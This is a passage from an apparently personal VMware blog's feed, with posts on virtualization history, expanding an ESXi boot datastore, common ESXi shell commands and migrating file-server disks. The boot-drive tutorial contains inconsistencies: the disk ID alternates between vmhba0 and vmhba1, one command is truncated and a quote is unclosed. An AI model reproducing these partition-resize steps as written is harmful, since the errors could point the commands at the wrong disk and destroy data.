&lt;p&gt;The existence of virtualization as a concept went largely unremarked for the nearly two decades of the rise of client/server on x86 platforms. Still, it served as a powerful inspiration for VMware to reviving the concept and apply it to x86 machines. In the late 1990s, VMware stepped in and began to apply its own virtualization model. These included low x86-platform server utilization, where perhaps 10-15% of server capacity was used, and rising costs associated with electrical power use, cooling and a fast-growing server and storage footprint.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/191001-virtualization-brief-history/vmware.png&#34; alt=&#34;vmware&#34;&gt;&lt;/p&gt;
&lt;p&gt;In 1999, VMware introduced virtualization to x86 systems, which VMware points out were not designed for virtualization in the way mainframes were. The problem centered around nearly 20 instructions that could cause application termination or system crash when they were virtualized. VMware addressed this with what it called an adaptive virtualization routine that contained the instructions as they’re generated and allows other instructions to be passed through without intervention.&lt;/p&gt;
&lt;p&gt;I mention VMWare because they are really the market leader in Virtualization in today’s market. In 2001, VMWare released two new products as they branched into the enterprise market, ESX Server and GSX Server. GSX Server allowed users to run virtual machines on top of an existing operating system, such as Microsoft Windows, this is known as a Type-2 Hypervisor. ESX Server (later ESXi) is known as a Type-1 Hypervisor, and does not require a host operating system to run Virtual Machines.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/191001-virtualization-brief-history/hypervisors.png&#34; alt=&#34;hypervisors&#34;&gt;&lt;/p&gt;
&lt;p&gt;A Type-1 Hypervisor is much more efficient than a Type-2 hypervisor since it can be better optimized for virtualization, and does not require all the resources it takes to run a traditional operating system.&lt;/p&gt;
&lt;p&gt;Since releasing ESX Server in 2001, VMWare has seen exponential growth in the enterprise market; and has added many complimentary products to enhance ESX Server. With this breakthrough they were first on the market with a product that slowly began to attract attention, then accelerated to the point where by 2008, a significant percentage of companies had begun to virtualize a small portion of their not-business-critical applications, and they began carrying out Windows Server backup on their new virtual machines.&lt;/p&gt;
&lt;h2 id=&#34;the-future-is-virtual&#34;&gt;The Future is Virtual&lt;/h2&gt;
&lt;p&gt;By the late 2000s, VMware had attracted quite a bit of attention and they were joined by several other vendors offering virtualization solutions, some with better Windows Server backup solutions than others, though VMware continues to hold steady with nearly a three-quarter share of the hypervisor market. Only Microsoft’s Hyper-V hypervisor has garnered a significant percentage of the rest of the market, followed by Citrix’s XenServer. Still, the potential for the market is so big that the competition will continue, augmented in part with a fast-rising investment in the sector by companies like Amazon, Microsoft, MSPs and longtime IT industry players who offer virtualization as part of cloud and offsite computing services.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/20191001-virtualization-brief-history/cloud-computing.jpg&#34; alt=&#34;cloud-computing&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;
&lt;p&gt;Computer Virtualization has a long history, spanning nearly half a century. It can be used for making your applications easier to access remotely, allowing your applications to run on more systems than originally intended, improving stability, and more efficient use of resources. Some technologies can be traced back to the 60’s such as Virtual Desktops, others can only be traced back a few years, such as virtualized applications.&lt;/p&gt;
&lt;p&gt;I hope you’ve enjoyed this post and I hope I’ll get some feedback from my loyal readers as this format is something I’ve never tried before. If you’d like to see more history lessons such as this, give me a like, share this article out or send me an email. That would be all – Wilk’s out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/191001-virtualization-brief-history/micdrop-1.gif&#34; alt=&#34;micdrop-1&#34;&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Expanding ESXi boot drive</title>
      <link>/posts/190901-expanding-vmfs-boot/</link>
      <pubDate>Sun, 01 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190901-expanding-vmfs-boot/</guid>
      <description>Expanding a VMFS partition seems like an easy task – most of the time all we need to do is go to the storage tab of an ESXi host and use the “Increase Capacity” wizard. There is however one exception to that; the boot drive. As you probably know, you are allowed to have a datastore on the drive hosting the ESXi internal OS files (boot record, drivers etc.). The problem comes up when you try to use the GUI (be it ESXi web console or vSphere) to expand it – the system just won’t allow you to do that.</description>
      <content>&lt;p&gt;Expanding a VMFS partition seems like an easy task – most of the time all we need to do is go to the storage tab of an ESXi host and use the “Increase Capacity” wizard. There is however one exception to that; the boot drive. As you probably know, you are allowed to have a datastore on the drive hosting the ESXi internal OS files (boot record, drivers etc.). The problem comes up when you try to use the GUI (be it ESXi web console or vSphere) to expand it – the system just won’t allow you to do that.&lt;/p&gt;
&lt;p&gt;The workaround to this is rather simple – all you have to do is use my beloved CLI!&lt;/p&gt;
&lt;p&gt;To begin, connect to shell on an ESXi host on which you need to expand the boot datastore.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;jumpbox@paulwilk.net &amp;gt; ssh root@swzesx01.wilks.lab&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After getting the SSH access, run the following command to get the details about the datastore you want to expand:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesx01.wilks.lab &amp;gt; vmkfstools -P &amp;quot;/vmfs/volumes/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Replace the &lt;code&gt;DatastoreName&lt;/code&gt; with the actual name assigned to that datastore on your ESXi.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesx01.wilks.lab &amp;gt; vmkfstools -P &amp;quot;/vmfs/volumes/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;VMFS-6.82 file system spanning 1 partitions.&lt;/code&gt;
&lt;code&gt;File system label (if any): SWZESX01DS01&lt;/code&gt;
&lt;code&gt;Mode: public&lt;/code&gt;
&lt;code&gt;Capacity 34896609280 (33280 file blocks * 1048576), 2131755008 (2033 blocks) avail, max supported file size 70368744177664&lt;/code&gt;
&lt;code&gt;UUID: 5b18e63b-cc64aa19-325c-000c2916af3d&lt;/code&gt;
&lt;code&gt;Partitions spanned (on &amp;quot;lvm&amp;quot;): mpx.vmhba1:C0:T0:L0:3&lt;/code&gt;
&lt;code&gt;Is Native Snapshot Capable: NO&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Note down the partition identifier from the output, we are going to use it later on (obviously, your identifier might differ from the one in the example).&lt;/p&gt;
&lt;p&gt;Next, we need to gather some data about the current partition table. To get that, run the following command. The bolded part is the disk identifier which we can get by removing the last digit from the partition identifier. In my example it is &lt;code&gt;mpx.vmhba1:C0:T0:L0&amp;lt;/span&amp;gt;&lt;/code&gt; (notice the lack of &lt;code&gt;:3&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesxi01.wilks.lab &amp;gt; partedUtil get /vmfs/devices/disks/mpx.vmhba0:C0:T0:L0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Error: The backup GPT table is not at the end of the disk, as it should be. This might mean that another operating system believes the disk is smaller. Fix, by moving the backup to the end (and removing the old backup)?&lt;/code&gt;
&lt;code&gt;Warning: Not all of the space available to /dev/disks/mpx.vmhba1:C0:T0:L0 appears to be used, you can fix the GPT to use all of the space (an extra 20971520 blocks) or continue with the current setting? This will also move the backup table at the end if is is not at the end already. diskSize (104857600) AlternateLBA (83886079) LastUsableLBA (83886046) NewLastUsableLBA (104857566)&lt;/code&gt;&lt;br&gt;
&lt;code&gt;6527 255 63 104857600&lt;/code&gt;&lt;br&gt;
&lt;code&gt;1 64 8191 0 128&lt;/code&gt;
&lt;code&gt;5 8224 520191 0 0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;6 520224 1032191 0 0&lt;/code&gt;
&lt;code&gt;7 1032224 1257471 0 0&lt;/code&gt;
&lt;code&gt;8 1257504 1843199 0 0&lt;/code&gt;
&lt;code&gt;9 1843200 7086079 0 0&lt;/code&gt;
&lt;code&gt;2 7086080 15472639 0 0&lt;/code&gt;
&lt;code&gt;3 15472640 83886046 0 0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ok, that’s a lot of info. Let’s break that down and identify what do we need for the next steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NewLastUsableLBA (104857566)&lt;/code&gt; – this bit provides us with the last sector number on the drive&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3&lt;/code&gt; – this is the partition number for the partition which we will expand&lt;/li&gt;
&lt;li&gt;&lt;code&gt;15472640&lt;/code&gt; – lastly, this number indicates the first sector used by our partition&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Having all of that noted down, we can move on to the next step – expanding the VMFS. To achieve that, we need to run the following command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesx01.wilks.lab &amp;gt; partedUtil resize &amp;quot;/vmfs/devices/disks/Device&amp;quot; PartitionNumber NewStartingSector NewEndingSector&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;In my example, the above command will look like this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesx01.wilks.lab &amp;gt; partedUtil resize &amp;quot;/vmfs/devices/disks/mpx.vmhba0:C0:T0:L0&amp;quot; 3 15472640 104857566&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ok, after running the above, we need to do some cleaning up. Firstly, it’s time to fix GPT table for the drive:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesx01.wilks.lab &amp;gt; partedUtil fixGpt &amp;quot;/vmfs/devices/disks/mpx.vmhba0:C0:T0:L0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Secondly, we should refresh the VMFS volume information within the OS:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesx01.wilks.lab &amp;gt; vmkfstools -V&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Having that done, we can finally move onto expanding the datastore. The command needed here is as follows:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesx01.wilks.lab &amp;gt; vmkfstools --growfs &amp;quot;/vmfs/devices/disks/Device:partition&amp;quot; &amp;quot;/vmfs/devices/disks/Device:partition&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;In my example the Device:partition bit is: &lt;code&gt;mpx.vmhba1:C0:T0:L0:3&lt;/code&gt;
(we’ve got that from the first command in this tutorial)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@swzesx01.wilks.lab &amp;gt; vmkfstools --growfs &amp;quot;/vmfs/devices/disks/mpx.vmhba1:C0:T0:L0:3&amp;quot; &amp;quot;/vmfs/devices/disks/mpx.vmhba1:C0:T0:L0:3&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we can log back into the ESXi web GUI or vCenter and confirm if the datastore has been in fact expanded.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Command line bible for VMware admins</title>
      <link>/posts/190801-command-line-bible/</link>
      <pubDate>Thu, 01 Aug 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190801-command-line-bible/</guid>
      <description>Ah, command line. You might love it or hate it, but at the end of the day – there’s nothing you can do really to get around it. Sometimes you just have to use it and no GUI or fancy-dancy wizard will help you out. In my personal opinion, CLI/shell/SSH will always be a superior method of controlling anything in IT. While it might be preferable for some to funnel changes and modifications through vCenter server, there comes a time in every VMware administrator’s career where vCenter is simply not available.</description>
      <content>&lt;p&gt;Ah, command line. You might love it or hate it, but at the end of the day – there’s nothing you can do really to get around it. Sometimes you just have to use it and no GUI or fancy-dancy wizard will help you out. In my personal opinion, CLI/shell/SSH will always be a superior method of controlling anything in IT. While it might be preferable for some to funnel changes and modifications through vCenter server, there comes a time in every VMware administrator’s career where vCenter is simply not available. Getting to know your way around the ESXi shell is crucial in those times of troubleshooting, and having a basic understanding of some of the most common Linux and ESXi commands is never a bad skill to list on your resume.&lt;/p&gt;
&lt;h2 id=&#34;linux-shell-commands&#34;&gt;Linux Shell Commands&lt;/h2&gt;
&lt;p&gt;First up on our list – Linux shell commands. As ESXi is based on Linux, you can use most of the command you’d also expect to find on most Linux distributions (i.e. RedHat, CentOS, Arch etc.).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;find&lt;/code&gt;/&lt;code&gt;cat&lt;/code&gt;/&lt;code&gt;grep&lt;/code&gt; – These three commands can be used to view the content of a file. First up, the &lt;code&gt;find&lt;/code&gt; command will locate a specific file, based on either a filename or a pattern; &lt;code&gt;cat&lt;/code&gt; is used to simply display the contents of a file; lastly, &lt;code&gt;grep&lt;/code&gt; can be used to search for specific text within a single or group of files.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;find /path/to/vm/folder –iname delta&lt;/code&gt; – list all &lt;code&gt;delta&lt;/code&gt; disks of a VM.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat hostd.log | grep error&lt;/code&gt; – search occurrences of &lt;code&gt;error&lt;/code&gt; within the &lt;code&gt;hostd.log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat /etc/chkconfig.db&lt;/code&gt; – view current running status of all ESXi services.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat /etc/resolv.conf&lt;/code&gt; – view current DNS settings on ESXi.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;head&lt;/code&gt;/&lt;code&gt;tail&lt;/code&gt; – While the &lt;code&gt;cat&lt;/code&gt; command is great for displaying the complete contents of a file, &lt;code&gt;head&lt;/code&gt; and &lt;code&gt;tail&lt;/code&gt; can be used to show either just the beginning or end part of the file, skipping the contents in the middle. &lt;code&gt;tail&lt;/code&gt; can be extremely useful in times of troubleshooting; for example – to only view the latest logs in the log file.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tail -f /var/log/vmkernel.log&lt;/code&gt; – watch the &lt;code&gt;vmkernel log&lt;/code&gt; in real time&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat /var/log/vpxa.log | less&lt;/code&gt; – output &lt;code&gt;vpxa.log&lt;/code&gt; to the screen with a paging fashion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;df&lt;/code&gt;/&lt;code&gt;vdf&lt;/code&gt; – These two commands deal with presenting information about free space within file systems. The &lt;code&gt;df&lt;/code&gt; command, now showing VMFS data stores, will show the size, used and available space within both our file system and our data stores. To view the usage of the different ramdisks within an ESXi host, you must use the &lt;code&gt;vdf&lt;/code&gt; command.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ps&lt;/code&gt;/&lt;code&gt;kill&lt;/code&gt; – These commands are your weapons of mass destruction – able to kill any process within ESXi host. The &lt;code&gt;ps&lt;/code&gt; command contains many command line switches, but is most commonly used to retrieve the running world ID of a process in order to send to the &lt;code&gt;kill&lt;/code&gt; command. The &lt;code&gt;kill&lt;/code&gt; command then respectively terminates that process.&lt;!-- raw HTML omitted --&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vi&lt;/code&gt; – The &lt;code&gt;vi&lt;/code&gt; command is a text editor that is used to modify the contents of a file – a must-have skill for any vSphere administrator performing troubleshooting from the command shell. Keep in mind &lt;code&gt;vi&lt;/code&gt; is not a WYSIWYG editor, so getting used to it will take some time for a newbie. The most important things to remember for a beginner are:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;:q&lt;/code&gt; – exit the file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:w&lt;/code&gt; – write changes to the file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:i&lt;/code&gt; – switch from view to input mode&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nc&lt;/code&gt; – Coupled with &lt;code&gt;vmkping&lt;/code&gt; (more on that later), the &lt;code&gt;nc&lt;/code&gt; command (netcat) can be useful when confirming network connectivity to a certain IP from an ESXi host. We can use it, when we’d like to confirm connection on a specific TCP port (think iSCSI connections on port 3260 or SSH on 22).
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nc –z 10.10.10.10 3260&lt;/code&gt; – test connectivity to 10.10.10.10 on port 3260&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;esxi-shell-commands&#34;&gt;ESXi Shell Commands&lt;/h2&gt;
&lt;p&gt;Next, let’s look at some of the most common tasks performed while sitting on the ESXi command shell. These ESXi commands will help you not just with troubleshooting, but with your day to day maintenance as well as performance monitoring. Needless to say, you won’t find these commands anywhere outside VMware environment.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;services.sh&lt;/code&gt; – While Linux services are normally handled using the &lt;code&gt;services&lt;/code&gt; command, ESXi services are handled much the same way utilizing the &lt;code&gt;services.sh&lt;/code&gt; command. &lt;code&gt;Services.sh&lt;/code&gt; can be passed with a &lt;code&gt;stop&lt;/code&gt;, &lt;code&gt;start&lt;/code&gt;, or &lt;code&gt;restart&lt;/code&gt; flag to perform the respected operation on all ESXi services.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;services.sh restart&lt;/code&gt; – restart all ESXi services&lt;/li&gt;
&lt;li&gt;&lt;code&gt;services.sh stop servicename&lt;/code&gt; – stop a service with a name servicename&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d&lt;/code&gt; – The scripts located in &lt;code&gt;/etc/init.d&lt;/code&gt; can be used to start/stop their respective services one at a time. If you just wanted to restart the vCenter Server Agent (also known as the vpxa service), you could run &lt;code&gt;/etc/init.d/vpxa restart&lt;/code&gt; to restart it.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/vpxa restart&lt;/code&gt; – restart vCenter Agent on ESXi host&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vmkping&lt;/code&gt; – We are all familiar with the functionality of the age old &lt;code&gt;ping&lt;/code&gt; command, however &lt;code&gt;vmkping&lt;/code&gt; takes this one step further and allows you to use the IP stack of the VMkernel to send Internet Control Message Protocol (ICMP) packets through specified interfaces. Meaning, you could send a ping packet out through the vMotion network, rather than over the management network.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vmkping –I vmk1 10.10.10.1&lt;/code&gt; – send ICMP request to 10.10.10.1 through &lt;code&gt;vmk1&lt;/code&gt; interface&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vmkfstools&lt;/code&gt; – The &lt;code&gt;vmkfstools&lt;/code&gt; command allows you to create, clone, extend, rename and delete VMDK files. In addition to the virtual disk options, you can also create, extend, grow and reclaim blocks from our file systems with vmkfstools.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vmkfstools –i test.vmdk testclone.vmdk&lt;/code&gt; – clones &lt;code&gt;test.vmdk&lt;/code&gt; to &lt;code&gt;testclone.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxtop&lt;/code&gt; – When it comes to performance monitoring and troubleshooting on an ESXi host, few tools can give you as much information as esxtop. With similar functionality to the Linux &lt;code&gt;top&lt;/code&gt; command, &lt;code&gt;esxtop&lt;/code&gt; goes one step further by gathering VMware-specific metrics as they compare to CPU, interrupt, memory, network, disk adapter, disk device, disk VM and power management. The usage is quite similar to the &lt;code&gt;top&lt;/code&gt; command, so you might want to take a look at &lt;a href=&#34;https://www.booleanworld.com/guide-linux-top-command/&#34;&gt;this&lt;/a&gt; detailed guide.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vscsiStats&lt;/code&gt; – The &lt;code&gt;vscsiStats&lt;/code&gt; command will help you gather a collection of data and metrics that pertain to a VM’s disk I/O workload. Using &lt;code&gt;vscsiStats&lt;/code&gt; can prove to be invaluable when capacity planning or migrating your back end storage as well.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vim-cmd&lt;/code&gt; – &lt;code&gt;vim-cmd&lt;/code&gt; is a command space that is built over top of the hostd process, allowing the end user to script and command almost every vSphere API. The vim-cmd command has a number of sub ESXi commands dealing with different portions of the virtual infrastructure and is very easy to use compared to its counterpart, &lt;code&gt;vimsh&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vim-cmd vmsvc/getallvms&lt;/code&gt; – gets a list of all VMs running on ESXi; useful for getting the VM ID&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vim-cmd vmsvc/reload vmid&lt;/code&gt; – reloads the VMX for given VM; replace &lt;code&gt;vmid&lt;/code&gt; with an actual ID of the VM in question&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vim-cmd vmsvc/power.on vmid&lt;/code&gt; – powers on the VM with given VM ID&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dcui&lt;/code&gt; – The VMware Direct User Console Interface (DCUI) is the menu-based option listing that you see when you initially log into an ESXi host. There are many different options available to you from the DCUI, such as root password maintenance, network and maintenance. Sometimes you may only have SSH access to the host, but thankfully, you can still get to the DCUI menu-based system by simply executing &lt;code&gt;dcui&lt;/code&gt; from the command line. This might be your last resort if you really want to avoid using command line interface.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vm-support&lt;/code&gt; – Ever feel like grabbing a complete bundle of all the support and log information that you have inside of your ESXi host? That is exactly what &lt;code&gt;vm-support&lt;/code&gt; does. This tool is invaluable, and if you have ever been on a support call with VMware, you have probably already ran this.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;few-words-about-the-holy-grail--esxcli-command&#34;&gt;Few words about the holy grail – esxcli command&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;esxcli&lt;/code&gt; command contains many different namespaces allowing you to control virtually everything that ESXi offers. Listed below are some (but certainly not all) of the commonly used namespaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli esxcli&lt;/code&gt; – Yeah, that’s not an error – the &lt;code&gt;esxcli&lt;/code&gt; command has a namespace called “esxcli.” By using the esxcli namespace, you are able to get further information on any or all the commands that lie within the esxcli utility.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli esxcli command list&lt;/code&gt; – list out every esxcli command on the system along with the functions it provides&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli hardware&lt;/code&gt; – The hardware namespace of esxcli can prove extremely useful when you are looking to get information about the current hardware and setup of your ESXi host
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli hardware cpu list&lt;/code&gt; – retrieve CPU information (family, model and cache)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli hardware memory get&lt;/code&gt; – retrieve information about memory (available and non-uniform memory access)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli iscsi&lt;/code&gt; – The iscsi namespace can be used to monitor and manage both hardware and software iSCSI setups.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli iscsi software&lt;/code&gt; – can be used to enabled/disable the software iSCSI initiator&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli iscsi adapter&lt;/code&gt; – can be used to setup discovery, CHAP and other settings for both your hardware and software iSCSI adapters&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli iscsi sessions&lt;/code&gt; – can be used to list established iSCSI sessions on the host&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli network&lt;/code&gt; – The &lt;code&gt;network&lt;/code&gt; namespace of &lt;code&gt;esxcli&lt;/code&gt; is extremely valuable when looking to monitor and make changes to anything and everything dealing with vSphere networking, including virtual switches, VMKernel network interfaces, firewalls and physical network interface cards (NICs).
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli network nic&lt;/code&gt; – list and modify NIC information, such as name, wake on LAN, and speeds&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli network vm list&lt;/code&gt; – list networking information about your VMs that have an active network port.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli network vswitch&lt;/code&gt; – Commands to retrieve and manipulate options on VMware’s standard and distributed virtual switches&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli network ip&lt;/code&gt; – Commands to manage VMkernel ports, including management, vMotion and Fault Tolerance networks. Also contains the ability to modify any of the IP stack in regard to the host, including DNS, IPsec and routing information&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli software&lt;/code&gt; – The software namespace can be used to retrieve and install different pieces of software and drivers on your ESXi host.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli software vib list&lt;/code&gt; – list the software and drivers currently installed on the ESXi host&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli storage&lt;/code&gt; – This is perhaps one of the most used esxcli command namespaces and contains everything and anything you need in order to manage the core storage attached to vSphere.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli storage core device list&lt;/code&gt; – list the current storage devices&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli storage core device vaai status get&lt;/code&gt; – get the current status of VAAI support on your storage devices&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli system&lt;/code&gt; – This command gives you the ability to control ESXi advanced options, such as setting up syslog and managing host status.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli system maintenanceMode set –enabled yes&lt;/code&gt; – set the host into maintenance mode&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli system settings advanced&lt;/code&gt; – View and change ESXi advanced settings (Hint: Use &lt;code&gt;esxcli system settings advanced list –d&lt;/code&gt; to view the settings that deviate from the default)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli system syslog&lt;/code&gt; – Syslog information and configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli vm&lt;/code&gt; – The &lt;code&gt;VM&lt;/code&gt; namespace of ESXi can be used to list out various tidbits of information about the VMs running on the host and shut them down forcibly if needed.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli vm process list&lt;/code&gt; – List out process information for powered on VMs&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli vm process kill&lt;/code&gt; – Terminate running VM process, essentially shutting down or forcibly powering off a VM&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli vsan&lt;/code&gt; – The vSAN namespace of ESXi contains a ton of commands dealing with VSAN setup and maintenance, including data store, network, fault domain, and policy configuration.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esxcli vsan storage&lt;/code&gt; – commands for configuring local storage for use with VSAN, including adding and removing physical disks and modifying auto claim.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esxcli vsan cluster&lt;/code&gt; – commands to leave/join vSAN clusters on the local host&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Certainly the above commands and examples are not all ESXi has to offer. All of these ESXi commands have multiple switches and options available which server various functions. Most of them can be displayed by passing a &lt;code&gt;–h&lt;/code&gt; to the original command to bring up the help options.&lt;/p&gt;
&lt;p&gt;I understand this might be a tedious task for some to learn all of the above commands, but trust me – once you get used to using them, you will be well on your way to solving almost any issue that arises.&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>File Server Migration</title>
      <link>/posts/190701-file-server-migration/</link>
      <pubDate>Mon, 01 Jul 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190701-file-server-migration/</guid>
      <description>With VMware vSphere you can migrate a vmdk virtual disk to a different VM retaining Windows NTFS permissions in a very easy way. This allows you to quickly migrate the data from in an event of File Server redesign or emergency failover (i.e. during a cyber attack etc.)
If the current server belong to an AD domain, the migration of the stored data to a new server raises the problem of the applied NTFS permissions.</description>
      <content>&lt;p&gt;With VMware vSphere you can migrate a vmdk virtual disk to a different VM retaining Windows NTFS permissions in a very easy way. This allows you to quickly migrate the data from in an event of File Server redesign or emergency failover (i.e. during a cyber attack etc.)&lt;/p&gt;
&lt;p&gt;If the current server belong to an AD domain, the migration of the stored data to a new server raises the problem of the applied NTFS permissions. How to retain all the settings?&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190701-file-server-migration/Screenshot-from-2018-06-05-12-28-01.png&#34; alt=&#34;Screenshot-from-2018-06-05-12-28-01&#34;&gt;&lt;/p&gt;
&lt;p&gt;Before proceeding, ensure you have a backup of all the data or the whole VM you will be migrating the data off.&lt;/p&gt;
&lt;p&gt;Firstly, log into the VM guest OS (be it Windows Server 2012, 2008 or 2016 – it’s the same procedure on all) and open up disk management wizard and put the disk in question offline:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190701-file-server-migration/Screenshot-from-2018-06-05-12-29-06.png&#34; alt=&#34;Screenshot-from-2018-06-05-12-29-06&#34;&gt;&lt;/p&gt;
&lt;p&gt;After the disk goes offline, Windows OS won’t be able to access the files on it. This process is similar to unmounting a disk on Linux/*nix.&lt;/p&gt;
&lt;p&gt;Having that done, we need to go to vSphere/ESXi console and remove the disk from the VM, which can be done using the “Edit Virtual Machine” wizard:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190701-file-server-migration/Screenshot-from-2018-06-05-13-12-31.png&#34; alt=&#34;Screenshot-from-2018-06-05-13-12-31&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remember to leave the “Delete files from datastore” option unchecked!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you prefer to leave the disk still connected to the old server, you can also leave the disk attached and copy the VMDK file to a new location. This will create an exact replica of the disk we’re migrating with all the NTFS permissions in place. To do that, open up the storage tab, browse the files on the volume containing the VMDK, right click on it and select the “Copy to” option.&lt;/p&gt;
